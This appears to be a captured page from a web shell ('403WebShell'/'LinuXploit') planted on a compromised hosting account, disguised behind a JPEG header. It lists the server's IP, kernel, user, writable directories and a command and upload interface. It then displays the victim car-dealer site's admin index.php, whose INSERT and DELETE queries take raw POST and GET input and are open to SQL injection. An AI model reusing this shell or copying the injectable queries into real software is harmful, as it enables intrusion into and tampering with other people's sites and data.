���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.93.77.42  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/carxmotors.in/public_html/product-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/carxmotors.in/public_html/product-admin/index.php
<?php
session_start();
include "sidebar.php";
include('config.php');
if (strlen($_SESSION['alogin']) == 0) {
  header('location:login.php');
} else {
  date_default_timezone_set('Asia/Kolkata');// change according timezone
  $currentTime = date('d-m-Y h:i:s A', time());


  if (isset($_POST['submit'])) {
    $category = $_POST['category'];
    $description = $_POST['description'];
    $sql = mysqli_query($con, "insert into category(categoryName,categoryDescription) values('$category','$description')");
    $_SESSION['msg'] = "Category Created !!";

  }

  if (isset($_GET['del'])) {
    mysqli_query($con, "delete from category where id = '" . $_GET['id'] . "'");
    $_SESSION['delmsg'] = "Category deleted !!";
  }

  ?>

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <div class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-6">
            <h1 class="m-0">Dashboard</h1>
          </div><!-- /.col -->
          <div class="col-sm-6">
            <ol class="breadcrumb float-sm-right">
              <li class="breadcrumb-item"><a href="index.php">Home</a></li>
              <li class="breadcrumb-item active">Dashboard</li>
            </ol>
          </div>
        </div>
      </div>
    </div>
    <!-- /.content-header -->

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
        <!-- Small boxes (Stat box) -->
        <div class="row">
          <div class="col-lg-6 col-6">
            <!-- small box -->
            <div class="small-box bg-info">
              <div class="inner">
                <h3>Car X Motor</h3>
                <p>Company Name</p>
              </div>
              <div class="icon">
                <i class="ion ion-bag"></i>
              </div>
              <a href="../about.php" target="_blank" class="small-box-footer">More info <i
                  class="fas fa-arrow-circle-right"></i></a>
            </div>
          </div>
          <!-- ./col -->
          <div class="col-lg-6 col-6">
            <!-- small box -->
            <div class="small-box bg-success">
              <div class="inner">
                <h3>
                  <?php
                  $sql = "SELECT * FROM `products`";
                  $result = mysqli_query($con, $sql);
                  $num = mysqli_num_rows($result);
                  echo $num;
                  ?>
                </h3>

                <p>Added Product</p>
              </div>
              <div class="icon">
                <i class="ion ion-stats-bars"></i>
              </div>
              <a href="../all-products.php" target="_blank" class="small-box-footer">More info <i
                  class="fas fa-arrow-circle-right"></i></a>
            </div>
          </div>

          <!-- ./col -->
        </div>
        <!-- /.row -->


      </div><!-- /.container-fluid -->
    </section>
    <!-- /.content -->
  </div>
  <?php include "footer.php"; ?>
<?php } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit